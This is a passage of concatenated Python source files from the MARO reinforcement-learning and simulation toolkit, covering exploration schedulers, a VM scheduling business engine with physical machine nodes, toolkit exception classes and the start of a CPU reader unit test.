if this is a single string, the output from the corresponding task module will be returned. is_training (bool): If true, all torch submodules will be set to training mode, and auto-differentiation will be turned on. Defaults to True. Returns: Outputs from the required head(s). """ self.train(mode=is_training) if is_training: return self._forward(inputs, task_name) with torch.no_grad(): return self._forward(inputs, task_name) def learn(self, loss): """Use the loss to back-propagate gradients and apply them to the underlying parameters.""" if not self._is_trainable: raise MissingOptimizer("No optimizer registered to the model") if isinstance(self._optimizer, dict): for optimizer in self._optimizer.values(): optimizer.zero_grad() else: self._optimizer.zero_grad() # Obtain gradients through back-propagation loss.backward() # Apply gradients if isinstance(self._optimizer, dict): for optimizer in self._optimizer.values(): optimizer.step() else: self._optimizer.step() def soft_update(self, other_model: nn.Module, tau: float): for params, other_params in zip(self.parameters(), other_model.parameters()): params.data = (1 - tau) * params.data + tau * other_params.data def copy(self): return clone(self) def load(self, state_dict): self.load_state_dict(state_dict) def dump(self): return self.state_dict() def load_from_file(self, path: str): self.load_state_dict(torch.load(path)) def dump_to_file(self, path: str): torch.save(self.state_dict(), path) @staticmethod def validate_dims(*task_stacks, shared_stack=None): if shared_stack: expected_dim = shared_stack.output_dim for task_stack in task_stacks: if task_stack.input_dim != expected_dim: raise NNStackDimensionError( f"Expected input dimension {expected_dim} for task module: {task_stack.name}, " f"got {task_stack.input_dim}") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from typing import Callable from maro.utils.exception.rl_toolkit_exception import InfiniteTrainingLoop, InvalidEpisode class Scheduler(object): """Scheduler that generates exploration parameters for each episode. Args: max_ep (int): Maximum number of episodes to be run. If -1, an early stopping callback is expected to prevent the training loop from running forever. early_stopping_checker (Callable): Function that returns a boolean indicating whether early stopping should be triggered. Defaults to None, in which case no early stopping check will be performed. """ def __init__(self, max_ep: int, early_stopping_checker: Callable = None): if max_ep < -1: raise InvalidEpisode("max_episode can only be a non-negative integer or -1.") if max_ep == -1 and early_stopping_checker is None: raise InfiniteTrainingLoop( "A positive max_ep or an early stopping checker must be provided to prevent the training loop from " "running forever." ) self._max_ep = max_ep self._early_stopping_checker = early_stopping_checker self._current_ep = -1 self._performance_history = [] self._exploration_params = None def __iter__(self): return self def __next__(self): self._current_ep += 1 if self._current_ep == self._max_ep: raise StopIteration if self._early_stopping_checker and self._early_stopping_checker(self._performance_history): raise StopIteration self._exploration_params = self.get_next_exploration_params() return self._exploration_params def get_next_exploration_params(self): pass @property def current_ep(self): return self._current_ep @property def exploration_params(self): return self._exploration_params def record_performance(self, performance): self._performance_history.append(performance) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from typing import Callable, Union import numpy as np from .scheduler import Scheduler class LinearParameterScheduler(Scheduler): """Static exploration parameter generator based on a linear schedule. Args: max_ep (int): Maximum number of episodes to run. early_stopping_checker (Callable): Function that returns a boolean indicating whether early stopping should be triggered. Defaults to None, in which case no early stopping check will be performed. parameter_names ([str]): List of exploration parameter names. start_values (Union[float, list, tuple, np.ndarray]): Exploration parameter values for the first episode. These values must correspond to ``parameter_names``. end_values (Union[float, list, tuple, np.ndarray]): Exploration parameter values rate for the last episode. These values must correspond to ``parameter_names``. """ def __init__( self, max_ep: int, early_stopping_checker: Callable = None, *, parameter_names: [str], start_values: Union[float, list, tuple, np.ndarray], end_values: Union[float, list, tuple, np.ndarray] ): super().__init__(max_ep, early_stopping_checker=early_stopping_checker) self._parameter_names = parameter_names if isinstance(start_values, float): self._current_values = start_values * np.ones(len(self._parameter_names)) elif isinstance(start_values, (list, tuple)): self._current_values = np.asarray(start_values) else: self._current_values = start_values if isinstance(end_values, float): end_values = end_values * np.ones(len(self._parameter_names)) elif isinstance(end_values, (list, tuple)): end_values = np.asarray(end_values) self._delta = (end_values - self._current_values) / (self._max_ep - 1) def get_next_exploration_params(self): current_values = self._current_values.copy() self._current_values += self._delta return dict(zip(self._parameter_names, current_values)) class TwoPhaseLinearParameterScheduler(Scheduler): """Exploration parameter generator based on two linear schedules joined together. Args: max_ep (int): Maximum number of episodes to run. early_stopping_checker (Callable): Function that returns a boolean indicating whether early stopping should be triggered. Defaults to None, in which case no early stopping check will be performed. parameter_names ([str]): List of exploration parameter names. split_ep (float): The episode where the switch from the first linear schedule to the second occurs. start_values (Union[float, list, tuple, np.ndarray]): Exploration parameter values for the first episode. These values must correspond to ``parameter_names``. mid_values (Union[float, list, tuple, np.ndarray]): Exploration parameter values where the switch from the first linear schedule to the second occurs. In other words, this is the exploration rate where the first linear schedule ends and the second begins. These values must correspond to ``parameter_names``. end_values (Union[float, list, tuple, np.ndarray]): Exploration parameter values for the last episode. These values must correspond to ``parameter_names``. Returns: An iterator over the series of exploration rates from episode 0 to ``max_ep`` - 1. """ def __init__( self, max_ep: int, early_stopping_checker: Callable = None, *, parameter_names: [str], split_ep: float, start_values: Union[float, list, tuple, np.ndarray], mid_values: Union[float, list, tuple, np.ndarray], end_values: Union[float, list, tuple, np.ndarray] ): if split_ep <= 0 or split_ep >= max_ep: raise ValueError("split_ep must be between 0 and max_ep - 1.") super().__init__(max_ep, early_stopping_checker=early_stopping_checker) self._parameter_names = parameter_names self._split_ep = split_ep if isinstance(start_values, float): self._current_values = start_values * np.ones(len(self._parameter_names)) elif isinstance(start_values, (list, tuple)): self._current_values = np.asarray(start_values) else: self._current_values = start_values if isinstance(mid_values, float): mid_values = mid_values * np.ones(len(self._parameter_names)) elif isinstance(mid_values, (list, tuple)): mid_values = np.asarray(mid_values) if isinstance(end_values, float): end_values = end_values * np.ones(len(self._parameter_names)) elif isinstance(end_values, (list, tuple)): end_values = np.asarray(end_values) self._delta_1 = (mid_values - self._current_values) / split_ep self._delta_2 = (end_values - mid_values) / (max_ep - split_ep - 1) def get_next_exploration_params(self): current_values = self._current_values.copy() self._current_values += self._delta_1 if self._current_ep < self._split_ep else self._delta_2 return dict(zip(self._parameter_names, current_values)) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .abs_shaper import AbsShaper from .action_shaper import ActionShaper from .experience_shaper import ExperienceShaper from .k_step_experience_shaper import KStepExperienceKeys, KStepExperienceShaper from .state_shaper import StateShaper __all__ = [ "AbsShaper", "ActionShaper", "ExperienceShaper", "KStepExperienceKeys", "KStepExperienceShaper", "StateShaper" ] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .abs_store import AbsStore from .column_based_store import ColumnBasedStore, OverwriteType __all__ = ["AbsStore", "ColumnBasedStore", "OverwriteType"] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import shutil import tarfile from typing import Dict, List from yaml import safe_load from maro.backends.frame import FrameBase, SnapshotList from maro.cli.data_pipeline.utils import StaticParameter, download_file from maro.data_lib import BinaryReader from maro.event_buffer import CascadeEvent, EventBuffer, MaroEvents from maro.simulator.scenarios.abs_business_engine import AbsBusinessEngine from maro.simulator.scenarios.helpers import DocableDict from maro.utils.logger import CliLogger from maro.utils.utils import convert_dottable from .common import AllocateAction, DecisionPayload, Latency, PostponeAction, VmRequestPayload from .cpu_reader import CpuReader from .enums import Events, PmState, PostponeType, VmCategory from .frame_builder import build_frame from .physical_machine import PhysicalMachine from .virtual_machine import VirtualMachine metrics_desc = """ VM scheduling metrics used provide statistics information until now. It contains following keys: total_vm_requests (int): Total VM requests. total_energy_consumption (float): Accumulative total PM energy consumption. successful_allocation (int): Accumulative successful VM allocation until now. successful_completion (int): Accumulative successful completion of tasks. failed_allocation (int): Accumulative failed VM allocation until now. failed_completion (int): Accumulative failed VM completion due to PM overloading. total_latency (Latency): Accumulative used buffer time until now. total_oversubscriptions (int): Accumulative over-subscriptions. The unit is PM amount * tick. total_overload_pms (int): Accumulative overload pms. The unit is PM amount * tick. total_overload_vms (int): Accumulative VMs on overload pms. The unit is VM amount * tick. """ logger = CliLogger(name=__name__) class VmSchedulingBusinessEngine(AbsBusinessEngine): def __init__( self, event_buffer: EventBuffer, topology: str, start_tick: int, max_tick: int, snapshot_resolution: int, max_snapshots: int, additional_options: dict = {} ): super().__init__( scenario_name="vm_scheduling", event_buffer=event_buffer, topology=topology, start_tick=start_tick, max_tick=max_tick, snapshot_resolution=snapshot_resolution, max_snapshots=max_snapshots, additional_options=additional_options ) # Initialize environment metrics. self._init_metrics() # Load configurations. self._load_configs() self._register_events() self._init_frame() # Initialize simulation data. self._init_data() # PMs list used for quick accessing. self._init_pms() # All living VMs. self._live_vms: Dict[int, VirtualMachine] = {} # All request payload of the pending decision VMs. # NOTE: Need naming suggestestion. self._pending_vm_request_payload: Dict[int, VmRequestPayload] = {} self._vm_reader = BinaryReader(self._config.VM_TABLE) self._vm_item_picker = self._vm_reader.items_tick_picker(self._start_tick, self._max_tick, time_unit="s") self._cpu_reader = CpuReader(data_path=self._config.CPU_READINGS, start_tick=self._start_tick) self._tick: int = 0 self._pending_action_vm_id: int = 0 @property def configs(self) -> dict: """dict: Current configuration.""" return self._config @property def frame(self) -> FrameBase: """FrameBase: Current frame.""" return self._frame @property def snapshots(self) -> SnapshotList: """SnapshotList: Current snapshot list.""" return self._snapshots def _load_configs(self): """Load configurations.""" # Update self._config_path with current file path. self.update_config_root_path(__file__) with open(os.path.join(self._config_path, "config.yml")) as fp: self._config = convert_dottable(safe_load(fp)) self._delay_duration: int = self._config.DELAY_DURATION self._buffer_time_budget: int = self._config.BUFFER_TIME_BUDGET # Oversubscription rate. self._max_cpu_oversubscription_rate: float = self._config.MAX_CPU_OVERSUBSCRIPTION_RATE self._max_memory_oversubscription_rate: float = self._config.MAX_MEM_OVERSUBSCRIPTION_RATE self._max_utilization_rate: float = self._config.MAX_UTILIZATION_RATE # Load PM related configs. self._pm_amount: int = self._cal_pm_amount() self._kill_all_vms_if_overload = self._config.KILL_ALL_VMS_IF_OVERLOAD def _init_metrics(self): # Env metrics. self._total_vm_requests: int = 0 self._total_energy_consumption: float = 0.0 self._successful_allocation: int = 0 self._successful_completion: int = 0 self._failed_allocation: int = 0 self._failed_completion: int = 0 self._total_latency: Latency = Latency() self._total_oversubscriptions: int = 0 self._total_overload_pms: int = 0 self._total_overload_vms: int = 0 def _init_data(self): """If the file does not exist, then trigger the short data pipeline to download the processed data.""" vm_table_data_path = self._config.VM_TABLE if vm_table_data_path.startswith("~"): vm_table_data_path = os.path.expanduser(vm_table_data_path) cpu_readings_data_path = self._config.CPU_READINGS if cpu_readings_data_path.startswith("~"): cpu_readings_data_path = os.path.expanduser(cpu_readings_data_path) if (not os.path.exists(vm_table_data_path)) or (not os.path.exists(cpu_readings_data_path)): logger.info_green("Lack data. Start preparing data.") self._download_processed_data() logger.info_green("Data preparation is finished.") def _cal_pm_amount(self) -> int: amount: int = 0 for pm_type in self._config.PM: amount += pm_type["amount"] return amount def _init_pms(self): """Initialize the physical machines based on the config setting. The PM id starts from 0.""" # TODO: Improve the scalability. Like the use of multiple PM sets. self._machines = self._frame.pms # PM type dictionary. self._pm_type_dict: dict = {} pm_id = 0 for pm_type in self._config.PM: amount = pm_type["amount"] self._pm_type_dict[pm_type["PM_type"]] = pm_type while amount > 0: pm = self._machines[pm_id] pm.set_init_state( id=pm_id, cpu_cores_capacity=pm_type["CPU"], memory_capacity=pm_type["memory"], pm_type=pm_type["PM_type"], oversubscribable=PmState.EMPTY ) amount -= 1 pm_id += 1 def reset(self): """Reset internal states for episode.""" self._total_vm_requests: int = 0 self._total_energy_consumption: float = 0.0 self._successful_allocation: int = 0 self._successful_completion: int = 0 self._failed_allocation: int = 0 self._failed_completion: int = 0 self._total_latency: Latency = Latency() self._total_oversubscriptions: int = 0 self._total_overload_pms: int = 0 self._total_overload_vms: int = 0 self._frame.reset() self._snapshots.reset() for pm in self._machines: pm.reset() self._live_vms.clear() self._pending_vm_request_payload.clear() self._vm_reader.reset() self._vm_item_picker = self._vm_reader.items_tick_picker(self._start_tick, self._max_tick, time_unit="s") self._cpu_reader.reset() def _init_frame(self): self._frame = build_frame(self._pm_amount, self.calc_max_snapshots()) self._snapshots = self._frame.snapshots def step(self, tick: int): """Push business to next step. Args: tick (int): Current tick to process. """ self._tick = tick # All vm's cpu utilization at current tick. cur_tick_cpu_utilization = self._cpu_reader.items(tick=tick) # Process finished VMs. self._process_finished_vm() # Update all live VMs CPU utilization. self._update_vm_workload(cur_tick_cpu_utilization=cur_tick_cpu_utilization) # Update all PM CPU utilization. self._update_pm_workload() for vm in self._vm_item_picker.items(tick): # TODO: Batch request support. vm_info = VirtualMachine( id=vm.vm_id, cpu_cores_requirement=vm.vm_cpu_cores, memory_requirement=vm.vm_memory, lifetime=vm.vm_lifetime, sub_id=vm.sub_id, deployment_id=vm.deploy_id, category=VmCategory(vm.vm_category) ) if vm.vm_id not in cur_tick_cpu_utilization: raise Exception(f"The VM id: '{vm.vm_id}' does not exist at this tick.") vm_info.add_utilization(cpu_utilization=cur_tick_cpu_utilization[vm.vm_id]) vm_req_payload: VmRequestPayload = VmRequestPayload( vm_info=vm_info, remaining_buffer_time=self._buffer_time_budget ) vm_request_event = self._event_buffer.gen_cascade_event( tick=tick, event_type=Events.REQUEST, payload=vm_req_payload ) self._event_buffer.insert_event(event=vm_request_event) self._total_vm_requests += 1 def post_step(self, tick: int): # Update energy to the environment metrices. total_energy: float = 0.0 for pm in self._machines: if pm.oversubscribable and pm.cpu_cores_allocated > pm.cpu_cores_capacity: self._total_oversubscriptions += 1 total_energy += pm.energy_consumption # Overload PMs. if pm.cpu_utilization > 100: self._overload(pm.id) self._total_energy_consumption += total_energy if (tick + 1) % self._snapshot_resolution == 0: # NOTE: We should use frame_index method to get correct index in snapshot list. self._frame.take_snapshot(self.frame_index(tick)) # Stop current episode if we reach max tick. return tick + 1 >= self._max_tick def get_event_payload_detail(self) -> dict: """dict: Event payload details of current scenario.""" return { Events.REQUEST.name: VmRequestPayload.summary_key, MaroEvents.PENDING_DECISION.name: DecisionPayload.summary_key } def get_agent_idx_list(self) -> List[int]: """Get a list of agent index.""" pass def get_node_mapping(self) -> dict: """dict: Node mapping.""" node_mapping = {} return node_mapping def get_vm_cpu_utilization_series(self, vm_id: int) -> List[float]: """Get the CPU utilization series of the specific VM by the given ID.""" if vm_id in self._live_vms: return self._live_vms[vm_id].get_historical_utilization_series(cur_tick=self._tick) return [] def get_metrics(self) -> DocableDict: """Get current environment metrics information. Returns: DocableDict: Metrics information. """ return DocableDict( metrics_desc, total_vm_requests=self._total_vm_requests, total_energy_consumption=self._total_energy_consumption, successful_allocation=self._successful_allocation, successful_completion=self._successful_completion, failed_allocation=self._failed_allocation, failed_completion=self._failed_completion, total_latency=self._total_latency, total_oversubscriptions=self._total_oversubscriptions, total_overload_pms=self._total_overload_pms, total_overload_vms=self._total_overload_vms ) def _register_events(self): # Register our own events and their callback handlers. self._event_buffer.register_event_handler(event_type=Events.REQUEST, handler=self._on_vm_required) # Generate decision event. self._event_buffer.register_event_handler(event_type=MaroEvents.TAKE_ACTION, handler=self._on_action_received) def _update_vm_workload(self, cur_tick_cpu_utilization: dict): """Update all live VMs CPU utilization. The length of VMs utilization series could be difference among all VMs, because index 0 represents the VM's CPU utilization at the tick it starts. """ for live_vm in self._live_vms.values(): # NOTE: Some data could be lost. We use -1.0 to represent the missing data. if live_vm.id not in cur_tick_cpu_utilization: live_vm.add_utilization(cpu_utilization=-1.0) else: live_vm.add_utilization(cpu_utilization=cur_tick_cpu_utilization[live_vm.id]) live_vm.cpu_utilization = live_vm.get_utilization(cur_tick=self._tick) for pending_vm_payload in self._pending_vm_request_payload.values(): pending_vm = pending_vm_payload.vm_info if pending_vm.id not in cur_tick_cpu_utilization: pending_vm.add_utilization(cpu_utilization=-1.0) else: pending_vm.add_utilization(cpu_utilization=cur_tick_cpu_utilization[pending_vm.id]) def _update_pm_workload(self): """Update CPU utilization occupied by total VMs on each PM.""" for pm in self._machines: total_pm_cpu_cores_used: float = 0.0 for vm_id in pm.live_vms: vm = self._live_vms[vm_id] total_pm_cpu_cores_used += vm.cpu_utilization * vm.cpu_cores_requirement pm.update_cpu_utilization(vm=None, cpu_utilization=total_pm_cpu_cores_used / pm.cpu_cores_capacity) pm.energy_consumption = self._cpu_utilization_to_energy_consumption( pm_type=self._pm_type_dict[pm.pm_type], cpu_utilization=pm.cpu_utilization ) def _overload(self, pm_id: int): """Overload logic. Currently only support killing all VMs on the overload PM and note them as failed allocations. """ # TODO: Future features of overload modeling. # 1. Performance degradation # 2. Quiesce specific VMs. pm: PhysicalMachine = self._machines[pm_id] vm_ids: List[int] = [vm_id for vm_id in pm.live_vms] if self._kill_all_vms_if_overload: for vm_id in vm_ids: self._live_vms.pop(vm_id) pm.deallocate_vms(vm_ids=vm_ids) self._failed_completion += len(vm_ids) self._total_overload_vms += len(vm_ids) def _cpu_utilization_to_energy_consumption(self, pm_type: dict, cpu_utilization: float) -> float: """Convert the CPU utilization to energy consumption. The formulation refers to https://dl.acm.org/doi/epdf/10.1145/1273440.1250665 """ power: float = pm_type["power_curve"]["calibration_parameter"] busy_power: int = pm_type["power_curve"]["busy_power"] idle_power: int = pm_type["power_curve"]["idle_power"] cpu_utilization /= 100 cpu_utilization = min(1, cpu_utilization) return idle_power + (busy_power - idle_power) * (2 * cpu_utilization - pow(cpu_utilization, power)) def _postpone_vm_request(self, postpone_type: PostponeType, vm_id: int, remaining_buffer_time: int): """Postpone VM request.""" if remaining_buffer_time >= self._delay_duration: if postpone_type == PostponeType.Resource: self._total_latency.due_to_resource += self._delay_duration elif postpone_type == PostponeType.Agent: self._total_latency.due_to_agent += self._delay_duration postpone_payload = self._pending_vm_request_payload[vm_id] postpone_payload.remaining_buffer_time -= self._delay_duration postpone_event = self._event_buffer.gen_cascade_event( tick=self._tick + self._delay_duration, event_type=Events.REQUEST, payload=postpone_payload ) self._event_buffer.insert_event(event=postpone_event) else: # Fail # Pop out VM request payload. self._pending_vm_request_payload.pop(vm_id) # Add failed allocation. self._failed_allocation += 1 def _get_valid_pms( self, vm_cpu_cores_requirement: int, vm_memory_requirement: int, vm_category: VmCategory ) -> List[int]: """Check all valid PMs. Args: vm_cpu_cores_requirement (int): The CPU cores requested by the VM. vm_memory_requirement (int): The memory requested by the VM. vm_category (VmCategory): The VM category. Delay-insensitive: 0, Interactive: 1, Unknown: 2. """ # NOTE: Should we implement this logic inside the action scope? valid_pm_list = [] # Delay-insensitive: 0, Interactive: 1, and Unknown: 2. if vm_category == VmCategory.INTERACTIVE or vm_category == VmCategory.UNKNOWN: valid_pm_list = self._get_valid_non_oversubscribable_pms( vm_cpu_cores_requirement=vm_cpu_cores_requirement, vm_memory_requirement=vm_memory_requirement ) else: valid_pm_list = self._get_valid_oversubscribable_pms( vm_cpu_cores_requirement=vm_cpu_cores_requirement, vm_memory_requirement=vm_memory_requirement ) return valid_pm_list def _get_valid_non_oversubscribable_pms(self, vm_cpu_cores_requirement: int, vm_memory_requirement: int) -> list: valid_pm_list = [] for pm in self._machines: if pm.oversubscribable == PmState.EMPTY or pm.oversubscribable == PmState.NON_OVERSUBSCRIBABLE: # In the condition of non-oversubscription, the valid PMs mean: # PM allocated resource + VM allocated resource <= PM capacity. if (pm.cpu_cores_allocated + vm_cpu_cores_requirement <= pm.cpu_cores_capacity and pm.memory_allocated + vm_memory_requirement <= pm.memory_capacity): valid_pm_list.append(pm.id) return valid_pm_list def _get_valid_oversubscribable_pms(self, vm_cpu_cores_requirement: int, vm_memory_requirement: int) -> List[int]: valid_pm_list = [] for pm in self._machines: if pm.oversubscribable == PmState.EMPTY or pm.oversubscribable == PmState.OVERSUBSCRIBABLE: # In the condition of oversubscription, the valid PMs mean: # 1. PM allocated resource + VM allocated resource <= Max oversubscription rate * PM capacity. # 2. PM CPU usage + VM requirements <= Max utilization rate * PM capacity. if ( ( pm.cpu_cores_allocated + vm_cpu_cores_requirement <= self._max_cpu_oversubscription_rate * pm.cpu_cores_capacity ) and ( pm.memory_allocated + vm_memory_requirement <= self._max_memory_oversubscription_rate * pm.memory_capacity ) and ( pm.cpu_utilization / 100 * pm.cpu_cores_capacity + vm_cpu_cores_requirement <= self._max_utilization_rate * pm.cpu_cores_capacity ) ): valid_pm_list.append(pm.id) return valid_pm_list def _process_finished_vm(self): """Release PM resource from the finished VM.""" # Get the VM info. vm_id_list = [] for vm in self._live_vms.values(): if vm.deletion_tick == self._tick: # Release PM resources. pm: PhysicalMachine = self._machines[vm.pm_id] pm.cpu_cores_allocated -= vm.cpu_cores_requirement pm.memory_allocated -= vm.memory_requirement pm.deallocate_vms(vm_ids=[vm.id]) # If the VM list is empty, switch the state to empty. if not pm.live_vms: pm.oversubscribable = PmState.EMPTY vm_id_list.append(vm.id) # VM completed task succeed. self._successful_completion += 1 # Remove dead VM. for vm_id in vm_id_list: self._live_vms.pop(vm_id) def _on_vm_required(self, vm_request_event: CascadeEvent): """Callback when there is a VM request generated.""" # Get VM data from payload. payload: VmRequestPayload = vm_request_event.payload vm_info: VirtualMachine = payload.vm_info remaining_buffer_time: int = payload.remaining_buffer_time # Store the payload inside business engine. self._pending_vm_request_payload[vm_info.id] = payload # Get valid pm list. valid_pm_list = self._get_valid_pms( vm_cpu_cores_requirement=vm_info.cpu_cores_requirement, vm_memory_requirement=vm_info.memory_requirement, vm_category=vm_info.category ) if len(valid_pm_list) > 0: # Generate pending decision. decision_payload = DecisionPayload( frame_index=self.frame_index(tick=self._tick), valid_pms=valid_pm_list, vm_id=vm_info.id, vm_cpu_cores_requirement=vm_info.cpu_cores_requirement, vm_memory_requirement=vm_info.memory_requirement, remaining_buffer_time=remaining_buffer_time ) self._pending_action_vm_id = vm_info.id pending_decision_event = self._event_buffer.gen_decision_event( tick=vm_request_event.tick, payload=decision_payload) vm_request_event.add_immediate_event(event=pending_decision_event) else: # Either postpone the requirement event or failed. self._postpone_vm_request( postpone_type=PostponeType.Resource, vm_id=vm_info.id, remaining_buffer_time=remaining_buffer_time ) def _on_action_received(self, event: CascadeEvent): """Callback wen we get an action from agent.""" action = None if event is None or event.payload is None: self._pending_vm_request_payload.pop(self._pending_action_vm_id) return cur_tick: int = event.tick for action in event.payload: vm_id: int = action.vm_id if vm_id not in self._pending_vm_request_payload: raise Exception(f"The VM id: '{vm_id}' sent by agent is invalid.") if type(action) == AllocateAction: pm_id = action.pm_id vm: VirtualMachine = self._pending_vm_request_payload[vm_id].vm_info lifetime = vm.lifetime # Update VM information. vm.pm_id = pm_id vm.creation_tick = cur_tick vm.deletion_tick = cur_tick + lifetime vm.cpu_utilization = vm.get_utilization(cur_tick=cur_tick) # Pop out the VM from pending requests and add to live VM dict. self._pending_vm_request_payload.pop(vm_id) self._live_vms[vm_id] = vm # Update PM resources requested by VM. pm = self._machines[pm_id] # Empty pm (init state). if pm.oversubscribable == PmState.EMPTY: # Delay-Insensitive: oversubscribable. if vm.category == VmCategory.DELAY_INSENSITIVE: pm.oversubscribable = PmState.OVERSUBSCRIBABLE # Interactive or Unknown: non-oversubscribable else: pm.oversubscribable = PmState.NON_OVERSUBSCRIBABLE pm.allocate_vms(vm_ids=[vm.id]) pm.cpu_cores_allocated += vm.cpu_cores_requirement pm.memory_allocated += vm.memory_requirement pm.update_cpu_utilization( vm=vm, cpu_utilization=None ) pm.energy_consumption = self._cpu_utilization_to_energy_consumption( pm_type=self._pm_type_dict[pm.pm_type], cpu_utilization=pm.cpu_utilization ) self._successful_allocation += 1 elif type(action) == PostponeAction: postpone_step = action.postpone_step remaining_buffer_time = self._pending_vm_request_payload[vm_id].remaining_buffer_time # Either postpone the requirement event or failed. self._postpone_vm_request( postpone_type=PostponeType.Agent, vm_id=vm_id, remaining_buffer_time=remaining_buffer_time - postpone_step * self._delay_duration ) def _download_processed_data(self): """Build processed data.""" data_root = StaticParameter.data_root build_folder = os.path.join(data_root, self._scenario_name, ".build", self._topology) source = self._config.PROCESSED_DATA_URL download_file_name = source.split('/')[-1] download_file_path = os.path.join(build_folder, download_file_name) # Download file from the Azure blob storage. if not os.path.exists(download_file_path): logger.info_green(f"Downloading data from {source} to {download_file_path}.") download_file(source=source, destination=download_file_path) else: logger.info_green("File already exists, skipping download.") # Unzip files. logger.info_green(f"Unzip {download_file_path} to {build_folder}") tar = tarfile.open(download_file_path, "r:gz") tar.extractall(path=build_folder) tar.close() # Move to the correct path. for _, directories, _ in os.walk(build_folder): for directory in directories: unzip_file = os.path.join(build_folder, directory) logger.info_green(f"Move files to {build_folder} from {unzip_file}") for file_name in os.listdir(unzip_file): if file_name.endswith(".bin"): shutil.move(os.path.join(unzip_file, file_name), build_folder) os.rmdir(unzip_file) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from maro.backends.frame import FrameBase, FrameNode from .physical_machine import PhysicalMachine def build_frame(pm_amount: int, snapshots_num: int): """Function to build vm_scheduling Frame. Args: pm_amount (int): Number of physical machine. snapshot_num (int): Number of in-memory snapshots. Returns: VmSchedulingFrame: Frame instance for vm_scheduling scenario. """ class VmSchedulingFrame(FrameBase): pms = FrameNode(PhysicalMachine, pm_amount) def __init__(self): super().__init__(enable_snapshot=True, total_snapshot=snapshots_num) return VmSchedulingFrame() --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from typing import List, Set from maro.backends.frame import NodeAttribute, NodeBase, node from .enums import PmState from .virtual_machine import VirtualMachine @node("pms") class PhysicalMachine(NodeBase): """Physical machine node definition in frame.""" # Initial parameters. id = NodeAttribute("i") cpu_cores_capacity = NodeAttribute("i2") memory_capacity = NodeAttribute("i2") pm_type = NodeAttribute("i2") # Statistical features. cpu_cores_allocated = NodeAttribute("i2") memory_allocated = NodeAttribute("i2") cpu_utilization = NodeAttribute("f") energy_consumption = NodeAttribute("f") # PM type: non-oversubscribable is -1, empty: 0, oversubscribable is 1. oversubscribable = NodeAttribute("i2") def __init__(self): """Internal use for reset.""" self._id = 0 self._init_cpu_cores_capacity = 0 self._init_memory_capacity = 0 self._init_pm_type = 0 self._init_pm_state = 0 # PM resource. self._live_vms: Set[int] = set() def update_cpu_utilization(self, vm: VirtualMachine = None, cpu_utilization: float = None): if vm is None and cpu_utilization is None: raise Exception(f"Wrong calling method {self.update_cpu_utilization.__name__}") if vm is not None: cpu_utilization = ( (self.cpu_cores_capacity * self.cpu_utilization + vm.cpu_cores_requirement * vm.cpu_utilization) / self.cpu_cores_capacity ) self.cpu_utilization = round(max(0, cpu_utilization), 2) def set_init_state( self, id: int, cpu_cores_capacity: int, memory_capacity: int, pm_type: int, oversubscribable: PmState = 0 ): """Set initialize state, that will be used after frame reset. Args: id (int): PM id, from 0 to N. N means the amount of PM, which can be set in config. cpu_cores_capacity (int): The capacity of cores of the PM, which can be set in config. memory_capacity (int): The capacity of memory of the PM, which can be set in config. pm_type (int): The type of the PM. oversubscribable (int): The state of the PM: - non-oversubscribable: -1. - empty: 0. - oversubscribable: 1. """ self._id = id self._init_cpu_cores_capacity = cpu_cores_capacity self._init_memory_capacity = memory_capacity self._init_pm_type = pm_type self._init_pm_state = oversubscribable self.reset() def reset(self): """Reset to default value.""" # When we reset frame, all the value will be set to 0, so we need these lines. self.id = self._id self.cpu_cores_capacity = self._init_cpu_cores_capacity self.memory_capacity = self._init_memory_capacity self.pm_type = self._init_pm_type self.oversubscribable = self._init_pm_state self._live_vms.clear() self.cpu_cores_allocated = 0 self.memory_allocated = 0 self.cpu_utilization = 0.0 self.energy_consumption = 0.0 @property def live_vms(self) -> Set[int]: return self._live_vms def allocate_vms(self, vm_ids: List[int]): for vm_id in vm_ids: self._live_vms.add(vm_id) def deallocate_vms(self, vm_ids: List[int]): for vm_id in vm_ids: self._live_vms.remove(vm_id) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .base_exception import MAROException class AgentManagerModeError(MAROException): """Wrong agent manager mode.""" def __init__(self, msg: str = None): super().__init__(4000, msg) class MissingShaper(MAROException): """Missing shaper.""" def __init__(self, msg: str = None): super().__init__(4001, msg) class StoreMisalignment(MAROException): """Raised when a ``put`` operation on a ``ColumnBasedStore`` would cause the underlying lists to have different sizes.""" def __init__(self, msg: str = None): super().__init__(4002, msg) class InvalidEpisode(MAROException): """Raised when the ``max_episode`` passed to the the ``SimpleLearner``'s ``train`` method is negative and not -1.""" def __init__(self, msg: str = None): super().__init__(4003, msg) class InfiniteTrainingLoop(MAROException): """Raised when the ``SimpleLearner``'s training loop becomes infinite.""" def __init__(self, msg: str = None): super().__init__(4004, msg) class MissingOptimizer(MAROException): """Raised when the optimizers are missing when calling LearningModel's step() method.""" def __init__(self, msg: str = None): super().__init__(4005, msg) class UnrecognizedTask(MAROException): """Raised when a LearningModel has task names that are not unrecognized by an algorithm.""" def __init__(self, msg: str = None): super().__init__(4006, msg) class NNStackDimensionError(MAROException): """Raised when a learning module's input dimension is incorrect.""" def __init__(self, msg: str = None): super().__init__(4007, msg) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import unittest from maro.data_lib import BinaryConverter from maro.simulator.scenarios.vm_scheduling import CpuReader class CpuReaderTest(unittest.TestCase): for i in range(1, 4): meta_file = "tests/data/vm_scheduling/cpu_readings.yml" bin_file_name = f"tests/data/vm_scheduling/vm_cpu_readings-file-{i}-of-test.bin" csv_file = f"tests/data/vm_scheduling/vm_cpu_readings-file-{i}-of-test.csv" converter = BinaryConverter(bin_file_name, meta_file) converter.add_csv(csv_file) converter.flush() data_path = "tests/data/vm_scheduling/vm_cpu_readings-file-1-of-test.bin" def setUp(self): self.cpu_reader = CpuReader(self.data_path, 0) def tearDown(self): self.cpu_reader.reset() def test_first_file_first_tick(self): cpu_utilization_dict = self.cpu_reader.items(tick=0) expected = 4 self.assertEqual(expected, len(cpu_utilization_dict)) def 